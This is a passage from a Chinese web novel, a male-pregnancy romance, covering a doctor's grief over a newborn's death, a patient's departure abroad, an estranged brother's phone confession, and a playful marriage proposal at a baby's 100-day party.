他处理付博雅,就像处理掉一个无足轻重的虫子,毫无纳入严重的意思。 而且,是付博雅自己主动要退出娱乐圈的,跟他何关? 郁瑟意外收到了一通电话,请他务必来到某医院住院部,有人想见他一面。 郁瑟几乎是在一瞬间就知道是谁想要见他。 付清元。 这种感觉很不畅快,即使郁瑟这辈子见过的病患数不胜数,早已经习以为常。 可是,郁瑟是亲手从付清元的肚子了取出那个婴孩的。 一张小脸因为缺氧而憋得通红,小小的身体脆弱得仿佛轻轻一碰就会碎掉。 郁瑟这几天总记得那个孩子第一次啼哭的声音,微弱得像是一根细细的丝线。 一扯既断。 便真的断了。 郁瑟无论花费了多少办法,也无法将这一根小小的断线连接起来,每当夜深人静时,那个声音便会在他耳边回响,如同鬼魅一般,挥之不去。 对于一个医生来说,最可怕的事情是什么? 就是面对生命的脆弱而无能为力的时候 原本他是抱着十足的诚心,去拯救两个人的性命的!! 这是第二个! 这是他第二次的无能为力! 作为一个医生,他居然只能接受生命在双手中获得延续,却无法接受生命在指尖流逝。 他不是一个合格的医生! 郁瑟开始反思,自己是否真的有能力去守护每一个生命!! 他特别明白,为什么付清元会在这个时候想要见他。 郁瑟带着复杂的心情,来到对方医院。 住院部的走廊里弥漫着消毒水的味道,让人不由自主地皱起眉头。 他按照护士的指引来到了付清元的病房前,深吸一口气,推门而入。 付清元躺在床上,脸色苍白如纸,似乎有些重创之后的空洞感,仿佛还没有找寻回活过来的意义。 所以,当他看向郁瑟的目光中,还有种难以聚焦的恍惚感。 “你来了。”付清元的声音沙哑而低沉,仿佛是用尽了全身的力气才说出这几个字。 郁瑟点了点头,没有言语,只是静静地等待着付清元的下文。 他们是如此的陌生,即使在手术台间争分夺秒地与死神竞争。 但他们是从未见过面的陌生人。 “我知道,你一定很好奇,我为什么要见你。”付清元缓缓开口,有些气若游丝的感觉,“郁医生,这样称呼你对吧?” 郁瑟的喉头上下翻滚,但是一口浓浓的窒息感,开始在气管间堵塞得紧,不叫他能轻易保持从容。 【你这刽子手!!你这个庸医!!你这个杀人犯!!】 【你还我儿子的性命!就是你!是你害死了我的儿子!你这个没有良心的医生!你为什么要让他上手术台?你为什么要让他承受那么多的痛苦?你还我儿子的性命来!】 【你根本不配当医生!!你这种人为什么不去死!!】 郁瑟的额头上开始渗出细密的汗珠,他努力让自己保持冷静,试图将脑海里陈旧的阴影挥开。 然而不行。 即使重生,他的潜意识里依旧被魔障覆盖,即使自己做出了很多次的努力,甚至用自己的生命来证明自己的医术,也无法完全抹去那段黑暗的记忆。 每一次闭上眼,那些愤怒、悲伤、绝望的面孔就会如潮水般涌来,让他窒息。 郁瑟深深地吸了一口气,试图将那些陈旧的负面情绪压抑下去。 可是,当他看着病床上的付清元时,那个婴孩的一丝丝啼哭声,又像是开启记忆之门的魔钥,彻底将他的不堪翻搅起来。 付清元认真地打量着郁瑟,良久,他才说,像是凝聚了不少气力。 “我之前认识你吗?” 不,不,不认识。 郁瑟抿了抿发干的嘴唇,将发僵的双手塞进外套口袋内,轻轻握住。 “不认识,没见过。” 对,对对。 “我们是彼此完全陌生的。” 郁瑟想,我该怎么解释,自己突然冲进宾馆里的事情呢? 他该怎么解释孩子的事情呢? 付清元为了怀上付博雅的孩子,完全是拿出了他这辈子最大勇气,即使在无尽的绝望中,还是将希望寄托在了这个孩子上。 我该怎么说呢? 我该怎么说呢? 郁瑟的手,隔着一层单薄的衣兜,被什么轻轻地捏住了。 郁瑟僵硬地低头一看,付清元颤巍巍地抬起手,将他的拳头握住。 几乎是用尽了全力,轻飘飘地握住。 他说,“我真的很想生这个孩子,真的,这个孩子,已经被我当作这辈子的唯一依靠了。” “我的哥哥不爱我,我的亲生父母不爱我,我分明在这个世界上活着,这个世间充满阳光,却没有人来爱我。” “所以,我想给自己创造一个亲人,一个我爱他,他也会只爱我一个的亲人。” 付清元的眼眶缓慢地落泪,将他惨白的脸落得一片湿润。 郁瑟的心脏,几乎是在一瞬间沉坠到低谷,即将抵达深渊。 付清元的劲儿又大了一点点似的,将郁瑟的手捏到快要粉碎了。 他说,“你根本不认识我,可是,在我快要死的时候。” “我听见了,你叫我不要死,一遍遍得喊我,让我一定要相信自己,不要死,不要死。” “我活这样大,除了养父养母之外,谁都不在乎我,可是只有你用力地喊我,叫我不要死。” “所以,我真的不想死了。” “郁医生,谢谢你,我能活下来,真的全部要谢谢你。” 第80章 第 80 章 你不要做狗了 付清元的语气里满是感激, 仿佛郁瑟是他的救命恩人,给了他第二次生命。 然而郁瑟却只觉得一股难以言喻的情感涌上心头,他张了张嘴, 却发现自己根本不知道该说什么。 直到他的手, 像是被什么召唤似的,从衣兜内翻了出来,握住了付清元的冰凉的手指, 脱离了一层布料的隔阂, 像是挣破茧壳的蝴蝶,最终获得了全新的世界般。 郁瑟的指尖比对方的更加绵凉、湿润、轻颤, 却也拥有了全新的力量。 付清元似乎是笑了笑, 淡淡地、坚定地、释然地说着,“因为你的鼓励, 我想, 我要活下去。” “这次,我不再是为了任何人的喜欢而活,我应该好好地为自己而活。” 人生是一场漫长的自我救赎, 要在每一次困境的暗涌中, 重新打捞起原本就属于自己的光。 郁瑟下意识想到了这句话,一股温热的暖流瞬间侵袭了他的胸膛,叫他险些坠入悬崖的灵魂,又软绵绵地飘了起来。 为自己而活。 只是为自己而活。 珍视温柔的世界, 珍爱恰好的生命, 珍藏灿烂的自己。 郁瑟点头再点头道, “没错,没错,你一定要好好地生活, 因为这个世界上,最爱你的人,就应该是你自己。” 郁瑟走后。 用不了多长时间,病房的门被再次打开。 枫音尘从屋外进来,无论这个漂亮的男人从任何环境中走进来,总是会叫人产生一种如梦如幻的神奇感觉。 枫音尘轻启红润的嘴唇道,“相信你没有乱说话吧?” 应该是没有,因为他一直隐藏在医院走廊的深处,暗中观察了郁瑟走进病房前后的脚步变化。 瑟瑟走出去的时候,似乎步履轻松了一点,这足以令枫音尘感到如释重负一般,即使是这辈子他最讨厌的医院,似乎也在某一个瞬间变得明亮了许多。 但是,枫音尘还是决定进来确认一下,生怕付清元临时变卦,又把孩子夭折的话题转移到郁瑟的身上。 枫音尘知道在小说里有很多奇奇怪怪的情感副线,大抵上作者写肉写累了,也需要转移读者的注意力,叫读者看肉看腻了的时候,还能搭配点清粥小菜。 他对这些副线的感情历程毫不在意,有时候只挑肉的位置看,故意翻过那些没有郁瑟出现的剧情部分。 所以枫音尘也绝对不允许这些副线冒出来出来的人物,随意地伤害到郁医生。 枫音尘想,上辈子他真的真的帮不了郁瑟一丁点儿,只能在某天的午后黄昏,听见病房外的护士低声交谈着。 “什么?!郁医生死了?!怎么这样突然!!” “我记得郁医生也才二十几岁吧?怎么走的这样突然?!” “连遗体都运回来了,郁医生的父母兄弟哭得伤心死了,连我看了都难受的要命。” 枫音尘那个时候完全动不了,连抬起一根手指的力量都没有。 他真的恨极了,恨极了这个世界的残酷,更加痛恨自己的无能为力!! 现在完全不一样! 他可以为了郁瑟做出任何事情,无论好的或者不好的,只要能让郁医生平安喜乐,他枫音尘在所不惜!! 枫音尘说,“我会依照约定,将你送去国外好好生活,你自己也” “不,不是这样的”付清元的声音如同游丝一般,其实他已经打断枫音尘好几次了,只是人微言轻,加上气息微弱,完全打不断枫音尘沉浸在自己的想象之中。 付清元凝着一股劲儿,努力反驳着,“并不是这样的,我一点也没有说谎!” 他确实是接受的枫音尘的提议,因为他想要开始全新的生活,想要去一个没有人认识他的地方,重新开始。 付清元苍白的脸色因为激动而泛起一层薄红,眼底闪烁着急切的光,“我答应你,是因为我真的感激郁医生,假如没有他,我根本意识不到活着的重要性!” “我对他的感激是真的,不是为了你的资助!” 付清元急得快要哭了似的,其实刚得知孩子死了的时候,他也哭了很多次,从嚎啕大哭,到小声地啜泣,最后到平静地接受现实。 “其实孩子离开我挺好的,”付清元大喊一声之后,人变得更加虚弱起来,连声咳嗽了好几下,痛得刀口处也泛起一阵痉挛。 他的声音低沉而沙哑,仿佛是从喉咙深处挤出来的:“我不配做一个好父亲,给不了他想要的生活,我口口声声说会爱他,但实际上的情况,又有谁知道呢?” “我知道自己是受孕体质之后,内心便直接产生了一个大胆的想法,假如我能怀上那一个人的孩子,他会不会愿意多分一点眼神给我了呢?” 哥哥…… 付清元也不知道自己为什么会面对着枫音尘说这些话,其实刚才对着郁瑟讲,也完全好过于眼前这个充满高傲表情的漂亮男人。 但是他关心郁医生,爱郁医生,一个懂得爱人的人,懂得回应其他人的人,应该是一个内心细腻的人吧。 付清元也不管枫音尘究竟是什么样的人,反正话匣子已经打开,完全如同倾泻而出的洪水,大不了最后换得对方的一个白眼,他也需要将内心的压抑吐露个干干净净! 付清元道,“可是真的怀孕了之后,我比任何时候都后悔,我这是在做什么呢?哥哥他又不爱我啊?即使我怀了他的孩子,又能从他身上获取什么呢?” “我口口声声说会爱这个孩子,而这个孩子将来也会只爱我一个,但是万一当我生下他之后,我真的只是爱他吗?” “万一我会恨他呢?恨他根本没有起到任何作用?没有帮助我赢得付博雅的喜欢,那我是不是会越来越恨他,将他当作发泄情绪的工具,最后变成一个连我自己都害怕的陌生人呢?” “所以,我觉得孩子选择离开我是正确的,我不该因为自己的私欲,把他硬硬留下,他也应该去更好的,更爱他的父母那里,收到完整的爱护。” “所以,我一点也没有对郁医生产生不好的念头,他一看就是好人,我又不是一个恶魔,怎么可以去伤害一个好人呢?!” 付清元越说越激动,以及开始愈合的刀口,快要在激烈的情绪起伏下崩开似的。 “来,先喝口水吧。”付清元愣了十几秒钟,才从极度的震惊中发现,面前这个高高在上的男人居然给自己递来一杯温水。 虽然这算不上是什么善举,但是传递来的意味相当得惊人。 还很惊吓。 确实,枫音尘这辈子除了给郁瑟倒过水喝,余下的人全部都没有如此类似的待遇,恐怕任何熟悉他的人在看见枫音尘主动递来的水时,都会下意识的思考一下。 这家伙是不是想毒死我?! 付清元也是惴惴不安极了,慌张地用双手接过水杯,先试探性地抿了一口,发现并不是滚烫的热开水,而是温度刚好的温水,才小心翼翼地喝了起来。 枫音尘啧了一声,本来他并不是很看得上付清元这种类型的小可怜,不过对方有一句话在冥冥中触动了他,令他感受极深。 枫音尘道,“你有一点说得很对,没有资格做父母的人,也确实不该生下注定得不到爱的孩子。”. 郁瑟不知是不是的错觉,感觉自己最近似乎被谁盯上了,尤其是下班路上的时候,冥冥中有奇怪的人影一闪而过,似乎在跟踪他的行程。 郁医生也没有将这件事告诉枫音尘,毕竟像他这样的小医生,倒还不至于像明星一样,能从各种角度发掘出可以爆料的信息来。 不过他倒是变相地请金管家,给他借用了两个私人保镖,这两个人的身手敏捷极了,不到半天时间,直接将跟踪他的人抓了个现行。 郁瑟与那人直面相对后,发现并非其他人,而正是付博雅的经纪人。 原本这小子死活不肯承认,直到被保镖警告,说要打断他一只手,才惊恐万分地说了原委。 付博雅现在的状态很不好,四处打听付清元的下落,甚至将名下的几处房产变卖,凑集资金要大范围地悬赏,希望能从某个角落得知弟弟的下落。 他知道是枫音尘从中作梗,所以只要跟紧了郁瑟,差不多能找到付清元的痕迹。 郁瑟听后觉得可笑,但也没有做什么过分的举动,而是叫保镖先将人放了,温柔地摸了摸经纪人的肩膀。 跟他讲,“你去给付博雅代个话吧,跟他说不要白费力气了,付清元现在怎么样,跟他没有一点关系了。” “叫他早一点死心吧。” 郁瑟本想说,相濡以沫,不如相忘于江湖。 可他觉得这话大有开解付博雅的意思。 郁医生从来不觉得自己是一个圣人,有的时候,他嫉恶如仇得厉害,完全不顾硬刀子还是软刀子地戳对方软肋。 他讲:“你去跟付博雅传个话,早知如今,何必当初。” 用手指了指自己的脸,“就说,是我亲口说的,叫他不要坟头烧报纸——少来这套虚情假意,感动自己!” 80-90 第81章 第 81 章 好好地开始 郁瑟说完这句话之后, 付博雅经纪人的脸色,属于肉眼可见得晦暗起来。 大概,多借对方几个胆子, 也是不敢对着付博雅讲出这几句话来的。 不过无所谓。 郁瑟更是想给对方一个警告而已, 告诫对方不要随意再来骚扰自己,这边是完全没有想说的。 经纪人走后,郁瑟总感觉这件事恐怕没有这样轻易解决, 毕竟上一个这样事后情深的人, 是陆云晨,对方还带人砸了他的小破医院呢。 不过等待了几天之后, 郁瑟居然没有再受到付博雅的滋扰, 而是等待来了另外一个消息。 ——柳氏地产破产了。 起因是柳氏地产在行业上升期通过高杠杆快速扩张,销售回款放缓, 融资收紧, 引发资金链断裂。 柳博超当日突发脑溢血, 被紧急送往医院抢救,却再也没有醒来。 这一突发事件, 对整个柳氏地产来说, 无疑是雪上加霜,原本就紧绷的资金链,在失去了主心骨后,更是迅速崩溃。各大债主纷纷上门讨债, 供应商也停止供货, 所有项目被迫项目停工, 员工工资无法发放,一时间,柳氏地产陷入了前所未有的危机之中。 而柳明轩根本是一块糊不上墙的烂泥, 看到柳家一夜崩塌之后,立刻登报与柳家撇清关系,声称自己与柳家并无血缘关系,只是当初狸猫换太子的假少爷。 所以,来找付清元下落的人,似乎又变多了一些。 譬如柳夫人。 不过付清元已经在枫音尘的安排之下,即将乘坐私人飞机,抵达未知名的国度,准备开始全新的生活。 在那里,他将远离了尘世的喧嚣与纷争,平静地度过余生。 枫音尘为他准备了一处隐秘而舒适的居所,周围环境优美,生活设施一应俱全。 付清元临近登机前,似乎又犹豫了片刻,他知道自己此刻居然还有一丝丝的踟蹰。 绝对是不应该的。 不过,他还是在第三秒钟之后,拿出了手机,将早已拉黑的号码重新放了出来。 多少,还是应该说一声的。 付博雅疲惫地躺在沙发中央,多日来的不眠不休,使得他的精神状态陷入极度的消极之中。 他的双眼布满了可怖的血丝,英俊的面孔早已被折磨得如同一张纸。除了身心俱疲,内心世界更是异常死寂,仿佛所有的喧嚣与纷扰都已离他远去。 他的脑海中不断回放着与付清元过往的点点滴滴,那些曾经共同度过的时光,如今都成了拼命折磨和摧残他的回忆。 他的元元。 曾经,他也像爱护眼珠子一样疼爱着付清元的,只是不知从何时开始,他的疼爱变成了一种奇怪的欲.望,将他毫无准备地吞噬殆尽。 一个屋檐下共同成长的两个人,互相称呼彼此哥哥弟弟的人,怎么可以是相爱的关系? 即使他和付清元之间,毫无任何血缘关系,但是在付博雅的认知里,也觉得这件事荒唐之至,绝对要早早地扼杀殆尽。 所以他开始拼命地远离付清元,无视对方讨好的眼神,换上毫无感情的冰冷外壳,用极致的冷漠来伪装自己。 ——驱离对方!! 以至于到后来,付博雅自己也都以为,自己其实是不在乎付清元的。 可是现在一切都破碎了。 他的外壳!他的伪装!他的自以为!! 在被告知孩子死了的哪一个瞬间 不对,是他在以为付清元永远得死去的那一个瞬间里!! 被迫沉睡着的,那个爱着付清元的付博雅,又重新苏醒过来,并且疯狂地占领了躯壳,掌控了付博雅的一切。 叫他难过,叫他后悔,叫他拼命地痛苦!! 他不要!! 付博雅感觉自己正在跟身下的沙发一起烂掉,灵魂像是被撕裂开来,疼痛难忍。 他紧紧抱住自己的头,泪水无声地滑落,打湿了衣襟。 在回忆起与付清元之间的点点滴滴,那些被刻意遗忘的快乐时光,如今却如同锋利的刀片,一刀刀切割着他的心。 他想起付清元的笑容,温暖而明亮,曾经照亮了他整个的世界。他想起付清元的眼神,充满信任和依赖,让他感受到了前所未有的归属感。 可是现在,这一切都成为了过去,他失去了付清元,失去了他最爱的人。 悔恨如潮水般汹涌而来,淹没了他所有的理智。他后悔自己当初为什么要那么冷漠,为什么要那么固执,为什么要亲手将付清元推开。 他恨自己,恨自己的无知和自私,恨自己让付清元承受了那么多的痛苦和绝望。 他想要呐喊,想要发泄,想要将自己内心的痛苦和悔恨全部倾泻出来!! 直到付清元的电话,意外打来。 付博雅像是回光返照似的,蓦得从深陷的沙发中爬出来,冲着手机大声喊着,“元元!元元!你在哪里?” 元元? 付清元被这一声亲昵的称呼吓了一跳。 付博雅已经有十年的时间,没有这样亲密地喊过他的小名子了。 曾经的曾经,他也是被付博雅当作亲弟弟一般宠溺过的。 只是时间过去太久,太久了。 付清元沉默了很久,才开口道,“哥,我要走了。” 这一声熟悉而清脆的呼唤,叫付博雅心痛得愈发厉害,以至于付博雅的手开始颤抖,连嘴巴也不受控制地哆嗦起来。 他仿佛能够透过电话线,看到付清元那张苍白而消瘦的脸庞,看到他眼中的疲惫和决绝。 “元元,你别走!你别离开我!”付博雅的声音居然带起哽咽,他像是抓住了最后一根救命稻草,死死地不肯放手。 “哥错了,哥心里是在乎你的,元元,你能不能原谅我一次,我已经知道自己错得离谱了,可我还想求你,给哥哥一次机会。” “这一次,哥哥会好好地疼爱你的。” “这一次,哥哥再也不会假装无视你了,也不会对你冷漠了,真的不会了!” 付清元在电话那头轻轻地叹了口气,声音里满是无奈和哀伤。“哥,我打电话来只是跟你道歉的。” “你根本不必为了这件事跟我道歉,我知道的,你一直只是拿我当作亲弟弟来看待。” “是我不识好歹,偏要从你那里获得更多的感情。” “不不不!”付博雅翻身从沙发中站起身,连鞋都来不及穿,光着脚开始门外跑。 “你在哪里?元元,你等我一下,我当着你的面,亲自给你说清楚!” “我是喜欢你的,在乎你的!” 不对! “我是爱你的,我是真的爱你的!!” 付博雅跑得跌跌撞撞,像一个失魂落魄的疯子,一双脚在马路上踩得生疼,直到被路面的小石子硌得鲜血淋漓也浑然不觉。 他的心,比这双脚更疼,更痛,脑海里不断回响着付清元那无奈又哀伤的声音,每一个字都像是一把锋利的刀,狠狠地插在他的心上。 现在若是有人看到了他,完全也无法将这个人与风光无限的影帝相互联系。 付博雅说,“元元,你听我解释,其实我一直都爱你。” “最开始是因为我们的身份特殊,我不能跟你做这种有背道德的事情,所以才疏远你。” “后来是,你领着男朋友回家!” 男朋友。 付博雅想起这个男朋友,内心的复杂情绪简直堪称翻江倒海。 那是一种混合了嫉妒、愤怒、失落与不甘的复杂情感,如同千万只蚂蚁在心间啃噬,让他几乎窒息。 他无法理解,为什么自己明明已经小心翼翼地将情感深埋心底,却还是无法克制地在意付清元身边出现的每一个男性。 尤其是这个所谓的“男朋友”,更是像一根刺,狠狠地扎进了他的心里。 “我为了拆散你和那个家伙,找了私家侦探,结果意外发现你是柳家丢失的真少爷,所以迫不及待地将你送回柳家,因为只有你成了柳家的少爷,柳家的权势那么大,会帮助我除掉那个糟糕的家伙!” 确实。 付清元想,确实只需要二十万,就彻底买断了一份廉价的感情。 可是,那又怎么样呢? 付博雅一直以为付清元回到柳家之后,重温在父母怀抱中之后,会变成一个幸福的孩子。 实际上,也是他这几天才得知的真相。 付清元在柳家过的是什么样的糟糕生活,柳家的父母宠幸假少爷,而让自己的真儿子活得如同一个外人。 付清元每日面对的是父母对假少爷无微不至的关怀,以及对自己若有若无的忽视。在柳家的大宅里,他像是被遗忘在角落的一粒尘埃,无人问津,也无人心疼。 付博雅停下脚步,双手紧握成拳,指甲几乎嵌进了掌心的肉里,他却浑然不觉疼痛,哪怕脚底的血染红了一片。 “元元,我现在真得特别后悔,我不应该把你送回到柳家,他们根本不配拥有你!他们也根本不配称为父母!” “” “元元”付博雅的声音变得虚弱起来,“其实,那天晚上,我并没有真的喝醉,我知道那个人是你。” “因为知道是你,所以我嫉妒了,吃醋了,我表面看起来风光,实际上,我也是一个会在阴暗里发疯的爬虫。” “我疯狂得嫉妒你的男朋友,嫉妒他能时时刻刻地拥有你,所以我知道是你钻错了怀的时候,就干脆跟你做了一夜。”“我知道我错了,大错特错!我根本不应该放手,我应该紧紧抓住你,把你留在我身边,元元,我错了,我真的错了” 在电话另外一边的付清元,已然是目瞪口呆的样子。 哥哥知道! 哥哥居然知道那是我!! 他的大脑一片空白,完全无法思考,只是机械地握着手机,听着电话那头传来的付博雅低沉而痛苦的声音。 他的心跳得像是要从胸膛里跳出来,每一次跳动都带着剧烈的疼痛和不安。 “你”付清元的声音颤抖着,捏住手机的手指不断收紧了。 而后,他笑了,释怀的。 假如付博雅能更早一点承认自己的爱意的话,大抵上,他也不会如此难过。 宝宝也不会在绝望中,永远得失去生命。 若是此刻问他,后不后悔? 是的。 但他后悔的并不是与付博雅错过了如此多。 他再也不会为这份感情,感到多一丝的难过了。 他已经彻底想开了,也早该放手了。 为了宝宝,也为了自己。 付清元清了清嗓音说,“哥,那个孩子并不是你的,所以,你也不要一直难过。” “好好照顾自己,照顾爸妈。” “我走了。” 他并没有说再见,因为永远不会再见。 “元元!”付博雅大声地喊着,声音绝望彻骨,“我爱你!我真的爱你!你不要离开我!” 可惜,付清元已经彻底听不见了。 他带着如释重负般的微笑,将手机丢进了一旁的垃圾桶内,然后在空姐的帮助下,坐进了私人飞机之内。 去开启全新的一生。 第82章 第 82 章 一个家可以有两个老公…… 与此同时。 萧君耀的豪宅内却是另外一番景象。 萧君耀和枫知乐的小宝宝正在家里举办小型宴会, 庆祝他们的宝贝公主萧芽芽已经来到这个世界一百天啦! 亲朋好友齐聚一堂,欢声笑语充满了整个豪宅。宴会上,精致的婴儿服装穿在萧芽芽身上, 她像是童话里的小公主一样可爱, 大家轮流抱着她,逗弄着她,享受着这份新生的喜悦。 郁瑟被作为隆重邀请的嘉宾, 带来一份精心挑选的礼物, 脸上洋溢满真挚的笑容。 芽芽仿佛知道,郁瑟是接生过自己的医生似的, 主动向着对方伸出小手, 嘴巴里啊啊啊地叫唤着。 萧君耀一瞧大为惊讶,毕竟他们家这位小公主很有点小脾气, 不是任何人都可以随便来抱的。 郁瑟熟练地将小公主抱进怀里, 孩子沉甸甸的,因为要百日剃头,所以光溜溜的小脑袋上带着粉红色的发圈, 上面沾着蝴蝶型的水钻, 称得一张小脸更加粉嫩可爱。 小公主在郁瑟的怀里安静下来,一双清澈明亮的大眼睛好奇地打量着这位温柔的叔叔,小手紧紧地抓着郁瑟的手指,仿佛找到了最安全的依靠。 郁瑟真是爱极了小小的生命, 连忙跟枫音尘说, “帮我跟宝宝拍张照片, 记得把闪光灯关掉。” 他一向是不使唤枫公主帮忙的,不过眼前这个境况非常有纪念意义,必须要留存下来。 枫知乐一听可不得了, 郁医生恐怕是使唤不了他小叔叔的,连声说,“没关系,我来拍照。” 哪知双手不沾阳春水的枫音尘竟然异常熟练地拿出了手机,调整好角度,将镜头对准了郁瑟怀中的小公主,连按了几下摁钮。 小公主似乎也被这氛围感染,露出了甜美的笑容,眼睛弯成了月牙状,仿佛在配合着拍照。 “真不错,芽芽真是上镜。”郁瑟看着枫音尘手机上的照片,赞不绝口。 枫知乐在一旁也看得目瞪口呆,心里暗自嘀咕,他家小叔叔是吃错什么药了,居然会主动给人拍照?! 小叔叔居然这样听话的吗? 枫知乐的惊讶同样传递给了萧君耀,萧君耀不得不佩服地向郁瑟提议,“如果郁医生愿意的话,我和知乐特别想请你给芽芽做干爹。” 郁瑟有点不好意思,毕竟萧君耀的身份摆在那里,他一个区区私人医院的小医生而已,何德何能可以做萧家主女儿的干爹? 不等他回复。 枫音尘已经摆出一张臭脸,以至于萧君耀的话都没有继续往下说,而是尴尬地看着枫知乐。 其实枫知乐比他还要不知所措,完全猜不透小叔叔怎么突然就臭脸了。 明白一切的枫羽则将傻弟弟拉到一旁,告诉他道,“一孕傻三年,你真是被萧君耀宠坏了。” 其实不怪枫知乐不知道,他结婚之后彻底搬出了家,哪里知道其中的猫腻。 枫羽和枫澄则不同,他俩一直在家里住。所以经常看到小叔叔摁着郁医生接吻的画面。 要不然是长廊里,要不然是小树林,还有一家人难得一起吃早点的时候,趁着郁医生去帮忙盛饭的空档,小叔叔也能跟在后面给人扶到冰箱旁,亲得昏天黑地的。 枫羽道,“小叔叔肯定是不愿意让郁医生做芽芽的干爹啊!” “啊?”枫知乐完全属于二丈和尚摸不准头脑了,“那” 笨。 枫羽道,“小叔叔想让郁医生,做芽芽的小婶婶啊!” 郁瑟找了半天,才在顶层花园的角落里找到了枫音尘,他正一个人闷头坐在沙发上,手指间夹着一支红酒,却只是静静地拿着,一口也没喝。 郁瑟轻轻走过去,在他旁边坐下,轻声问道,“怎么了?你不喜欢小宝宝吗?” 枫音尘瞥了他一眼,眼神里带着几分委屈,“你说呢?” 郁瑟心里咯噔一下,完全摸不准枫公主的多变。 哪知枫音尘忽然扑进他的怀里,将美丽的头颅摆在郁瑟的双腿上,仰望玻璃房子上的星夜苍穹,酸溜溜说道,“我现在超级嫉妒萧君耀那个老小子的。” 老小子?! 郁瑟忍俊不禁道,“人家萧先生也不过三十几岁,怎么被你嫌弃得好似七老八十?” 又说,“原来,你是喜欢小孩子的啊?”若不然,怎么对人家有孩子这件事情,嫉妒得如此明显? 枫音尘自然是有几分酸劲儿的,毕竟自己心心念念的公主去了姓萧的家,怎么可能平心静气? 不过。 他嘟囔着说,“其实也不全是如此。” “我不想让你做芽芽的干爹,做什么干的呀?” 要做就做 郁瑟蓦得捏住了他的嘴巴,像是胆敢在猛兽的逆鳞间故意挑衅着。 “嗯嗯。” 郁瑟说,“那你只能一辈子嫉妒萧君耀了。” “因为,跟我结婚之后,你大概没有孩子,但是你可以再养一只猫,或者一只狗。” 再或者。 “我们俩干脆把伊尔曼当作儿子,一起把它养的像森林巨蚺一样粗壮,怎么样?” 枫音尘:“” 郁瑟瞧他连眼神都直了,不禁伸出自己的右手,抠了抠无名指空荡荡的位置,暗示性极强道,“也不要浪费你之前买那么多的珠宝了,嗯?” 郁瑟就差说,你不是一直在求婚吗?好吧,今天给你一个机会,我现在立刻会说愿意。 枫音尘还是一动不动的样子,往常那种机灵劲儿一点也没有体现出来。 郁瑟生气地在他漂亮的脸蛋上捏了一把,言道,“你怎么又准备在关键时刻放我鸽子?” 言罢,郁医生真是气得要走了。 结果被反映过来的枫音尘抱住腰身,硬生生地拖着喊。 “没有,没有,我没有不愿意!我只是” 枫音尘大叫,“老公,你不要走!我错了,老公!我这就派人回去把戒指找出来,你戴上它,你就是我的了,好不好?” 郁瑟被他这一番话逗得哭笑不得,但心中的那股气却也消了大半。 郁瑟重新坐在他身边,故意捏住枫公主花容失色的脸颊,半是满意,半是故意道,“你还真是喜欢挑衅我的底线。” 其实郁瑟原本也没有想着结婚的事情,只不过经过了付清元和付博雅的事情之后,也让他思考了很多事情。 毕竟人生就是要在适当的时机,抓住彼此,否则,谁也说不好,下一秒迎接自己的,会不会是终身的遗憾。 所以,郁瑟觉得无论是枫音尘也好,自己也好,不管是谁,假如真的认定了彼此,那么由谁来求婚都是可以的。 郁瑟道,“你是不是嫌弃我没有准备戒指?” “不是的,不是这样的,老公!!”枫音尘将叫做老公的人搬到自己的腿上坐在,大手讨好地抚摸着郁医生的身躯,“我是太意外,太惊喜,以至于脑子快要烧短路了。” “其实,我是在等一场流星雨!” 枫音尘预备将第三次的求婚仪式,安排在小说理描写的一场天琴座流星雨,周期为四百多年,十分具有纪念意义。 可是,求婚的台词居然被瑟瑟提前抢走了,这令枫音尘愈发委屈。 郁瑟大抵上被他艳丽绝伦的脸蛋,或者一口一个老公叫得心软了大半截,用手抚摸了几下被自己捏红的地方,轻笑着说,“真的吗?原来你是想在流星雨的时候,再求婚啊?” 枫音尘立刻主动亲亲他的嘴唇,像是害怕郁瑟又要气他了似的,不停舔舐着对方的嘴唇,言辞恳切道,“我无时无刻都想跟你结婚,真的,我发誓。” 枫音尘在其他人的眼中,是蛇类一般的存在,不过只有郁瑟觉得,他还有很孩子气的一面。 算了,谁让自己比某人要年长两岁呢。 郁瑟正准备说,好啊,那我就等你的流星雨到来的那天。 他的手机忽然震动起来,以至于枫音尘想将他的手机拿走,却被郁医生更快一步取出口袋道,“不要捣乱,万一是医院的事情怎么办?” 唯恐枫音尘要胡思乱想,在枫公主的额头亲了一口,“放心吧,你这么主动做我老婆的话,我还是很开心的。” 枫音尘低声说,“我也是老公。” 一个家也可以有两个老公的。 郁瑟笑着转身离开,走到枫音尘看不见的角落,接通电话道,“慕先生,大概你没有夜生活吗?” 慕酌月听着一愣,反应了半天觉得郁瑟不是轻浮的人,这个夜生活非彼夜生活。 于是也很坦然道,“我只是想跟你讲,柳家破产了。” 郁瑟:“你做的?” 慕酌月穿着浴袍,舒适地躺在庭院的软椅中,即使外面秋风习习,也吹不到他的身上。 慕酌月道,“据我所知,付清元也已经顺利离开华国,展开全新的人生了。” 郁瑟:“你做的?” 又说,“这样其实也好,虽然我没有资格插手他人的感情,但是人生漫长,总有更值得的。” 慕酌月倒是没想到他会将两件事都归功于自己,看来枫音尘是那种喜欢默默无闻的类型? 倒真是小瞧了自己塑造的这个反派了。 慕酌月道,“郁医生,你有没有想过,跟我继续合作?” 郁瑟微微蹙眉,“合作?什么意思?” 慕酌月的轻笑穿透夜色,带着一丝不易察觉的寒意,不得不说,稍微影响到了郁瑟的心情。 他才刚被枫公主承认是老公哎。 慕酌月缓缓道,“你我都清楚,这个世界远比你想象的复杂,而我作为这个世界上唯一觉醒自我意识的人,跟我的合作,当然是协助郁医生你来帮助更多像付清元这样的可怜人。” “这个小说世界的每一个细节,我都知道得清清楚楚,哪些人会遭遇什么不公平的待遇,我都可以提前告知给郁医生你。” 郁瑟闻言,目光闪烁,似乎在权衡着什么。 “慕先生,你的提议听起来很有趣,但合作总是需要理由和底线的。你的底线是什么?” 慕酌月微微一笑,那笑容在夜色中显得格外深邃。 “我的底线很简单,就是需要你的好感。” 夜色渐浓,两人的对话似乎才刚刚开始,而隐藏在平静之下的暗流,正悄然涌动。 “当然,我不会破坏你现在的感情生活,至少,我们先从做朋友开始。” “郁医生,这个世界上,还有很多拥有怀孕能力,却不能被善待的男性,他们有的很幸运,能找到自己的幸福,而有一些则很可怜,甚至丢掉宝贵的性命。” “我可以帮助你提前找到这些人,给予他们人道主义关怀和帮助。” “郁医生,你是一个善良的人,我假如能帮助到你的话,将是我一生的荣幸。” “付清元这样的惨剧,以后就可以最大程度地被避免了。” 第83章 第 83 章 渣男角色 很难不承认, 郁瑟对慕酌月的提议动心了,倒不是说他天生品德高尚。 最主要的还是那个孩子。 付清元那个未曾来到世界上的孩子,在冥冥中引导了郁瑟的意志。 人无完人, 